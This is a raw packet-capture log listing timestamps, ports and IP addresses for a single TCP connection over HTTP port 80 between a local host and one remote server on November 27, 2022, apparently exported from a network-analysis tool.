Nov 27, 2022 04:36:40.229779959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229821920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229825020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.229866982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229907990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229927063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.229949951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229990959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230034113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230050087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.230077982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230082989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.230119944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230165005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230206966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230212927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.230248928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230289936 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.230290890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230333090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230351925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.230376005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230436087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230462074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.230479002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230520964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230557919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.230562925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230618954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230648041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.230662107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230704069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230746984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230777979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.230791092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230813026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.230833054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230875015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230910063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.230942011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.230988026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231030941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231050014 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.231072903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231086016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.231115103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231157064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231159925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.231201887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231242895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231285095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231327057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231367111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231408119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231466055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231498003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.231508017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231539011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.231550932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231592894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231637001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231679916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.231901884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250207901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250257015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250284910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250310898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250334978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250335932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250360012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250368118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250385046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250395060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250422955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250447989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250447989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250477076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250504971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250508070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250531912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250557899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250566959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250585079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250608921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250613928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250642061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250668049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250672102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250694036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250720978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250720978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250749111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250772953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250775099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250801086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250828028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250830889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250858068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250881910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250909090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250932932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250957966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.250972986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.250984907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251012087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251022100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251038074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251066923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251077890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251105070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251127958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251128912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251154900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251178026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251179934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251208067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251230955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251234055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251260042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251285076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251286030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251312017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251337051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251338005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251363993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251388073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251411915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251422882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251437902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251456022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251463890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251486063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251491070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251517057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251542091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251542091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251568079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251594067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251597881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251617908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251645088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251646042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251672029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251691103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.251693010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.251744986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.463839054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.490314007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490416050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490451097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490493059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490525961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490567923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490609884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490652084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490657091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.490657091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.490695000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490717888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.490740061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490786076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490819931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.490832090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490900040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490956068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.490974903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.490999937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491041899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491056919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.491085052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491091967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.491128922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491173029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491185904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.491219997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491264105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491285086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.491306067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491348982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491390944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491416931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.491432905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491451979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.491470098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491513014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491555929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491578102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.491597891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491641045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491655111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.491683006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491695881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.491725922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491769075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491780043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.491815090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491857052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491868973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.491902113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491942883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.491955042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.491986036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492027044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492069006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492080927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.492110968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492153883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492165089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.492197037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492207050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.492240906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492284060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492295980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.492327929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492368937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492384911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.492412090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492454052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492496014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492506981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.492538929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492575884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492592096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.492619038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492631912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.492669106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492738962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.492743015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492794991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492842913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492887020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492902040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.492929935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492973089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.492986917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.493015051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.493022919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.493057966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.493100882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.493113995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.493144035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.493185997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.493201017 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.493228912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.493269920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.493313074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.493321896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.493355036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.493397951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.493407965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.493448973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.811224937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.837994099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838078976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838126898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838171959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838215113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838253975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838293076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838299990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.838299990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.838331938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838354111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.838375092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838385105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.838414907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838454962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838479042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.838494062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838534117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838553905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.838576078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838617086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838655949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838671923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.838696957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838735104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838751078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.838776112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838792086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.838816881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838860989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838891029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.838948965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.838993073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839034081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839061975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.839076042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839093924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.839113951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839159012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839205027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839209080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.839251041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839267969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.839292049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839330912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839349985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.839369059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839407921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839421988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.839447975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839485884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839524031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839538097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.839565039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839605093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839617968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.839644909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839654922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.839684963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839724064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839736938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.839764118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839802980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839821100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.839845896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839880943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839901924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.839920998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839960098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.839998007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840010881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.840053082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840095043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840111017 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.840135098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840146065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.840174913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840213060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840229988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.840253115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840291977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840306997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.840332985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840369940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840409040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840420961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.840447903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840487003 CET	80	49705	66.235.200.147	192.168.2.5
